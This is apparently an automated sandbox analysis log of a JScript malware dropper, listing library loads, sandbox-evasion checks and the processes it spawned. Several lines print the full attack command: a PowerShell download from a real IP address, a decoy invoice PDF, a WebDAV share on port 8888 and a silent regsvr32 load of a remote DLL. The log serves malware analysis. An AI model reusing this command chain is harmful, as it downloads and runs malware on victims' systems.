Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\9621.js.csv");ITextStream.WriteLine(" entry:7611 f:aidveldmk");ITextStream.WriteLine(" exec:2 f:aidveldmk");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49731

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4351			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5229			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7444	Thread sleep count: 4351 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7444	Thread sleep count: 5229 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7520	Thread sleep time: -9223372036854770s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7540	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7424	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7548	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 7720	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 7964	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: wscript.exe, 00000000.00000003.1675356977.00000280BB93B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\o
Source: wscript.exe, 00000000.00000003.1675356977.00000280BB93B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}@
Source: net.exe, 00000006.00000003.1735141333.00000283D317F000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1735810925.00000283D3118000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000002.2954052634.0000019A1BA24000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000002.2955827351.0000019A1D05E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4135326891302.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4135326891302.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4135326891302.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
